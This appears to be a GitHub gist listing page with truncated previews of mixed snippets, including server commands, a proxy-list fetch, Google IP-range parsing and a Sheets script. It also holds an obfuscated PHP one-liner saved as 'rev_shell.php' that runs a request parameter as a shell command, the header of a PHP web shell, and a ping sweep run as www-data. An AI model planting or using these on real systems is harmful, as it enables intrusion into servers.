python -m http.server 8080 --bind 0.0.0.0 --directory ./
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
# Download proxies list | |
curl -k https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/http.txt -o proxy_list.txt | |
sed -i -e 's/^/http:\/\//' proxy_list.t |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const express = require('express'); | |
const fs = require('fs'); | |
const app = express(); | |
const port = 3000; | |
app.get('/', (req, res) => { | |
fs.readdir('.', (err, files) => { | |
if (err) { | |
res.send('Erro ao ler diretório'); |
Download and transform the list of Google IP ranges from JSON to CSV using curl, jq and sed.
curl https://www.gstatic.com/ipranges/goog.json | \
jq -r '.prefixes[].ipv4Prefix, .prefixes[].ipv6Prefix | select (. != null)' | sed 's/^\|$/"/g' | paste -sd, - \
&& curl https://www.gstatic.com/ipranges/cloud.json | \
jq -r '.prefixes[].ipv4Prefix, .prefixes[].ipv6Prefix | select (. != null)' | sed 's/^\|$/"/g'| paste -sd, - \
> google-ranges.csv
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`; | |
/* | |
* In terminal: | |
* $ echo -ne '<?=`{${~\xa0\xb8\xba\xab}[\xa0]}`;' > rev_shell.php | |
* This is how the code will be produced, \xa0\xb8\xba\xab will be | |
* treated as constant therefore no " needed. It is also not copyable | |
* string because of non-ascii characters | |
* | |
* Explanation: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!-- Project Name : PHP Web Shell --> | |
<!-- Version : 0.01 --> | |
<!-- First development date : 2012/07/31 --> | |
<!-- This Version development date : 2012/07/31 --> | |
<!-- language : html, css, javascript, php --> | |
<!-- Developer : majorPE --> | |
<!-- Web site : http://blog.naver.com/xornrbboy --> | |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> | |
<html> | |
<head> |
Network scan with shell script and www-data
user
PING IPs
for i in $(seq 1 10);
do ping -c1 -t 1 192.168.0.$i | grep -v '100% packet loss' | grep PING | awk '{print $2}' >> /var/www/html/ips.txt;
done;
Probe TCP Ports
My collection of eavesdropping / data exfiltration videos from air gapped computers.
https://www.wired.com/story/infrared-laser-microphone-keystroke-surveillance/
https://www.google.com/advanced_search
Operator | Description | Example |
---|---|---|
"" |
Use this to do an exact-match search. | "great depression" |
OR |
Search for this OR that. This will return results related to the two terms or both. | suggar OR caffeine |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
@OnlyCurrentDoc | |
Ref: https://spreadsheetpoint.com/multiple-selection-drop-down-google-sheets/ | |
*/ | |
function onEdit(e) { | |
var oldValue; | |
var newValue; | |
var ss=SpreadsheetApp.getActiveSpreadsheet(); | |
var activeCell = ss.getActiveCell(); | |
if(activeCell.getColumn() == 3 && activeCell.getRow() >= 4 && ss.getSheetName != "Categorias" ) { |
NewerOlder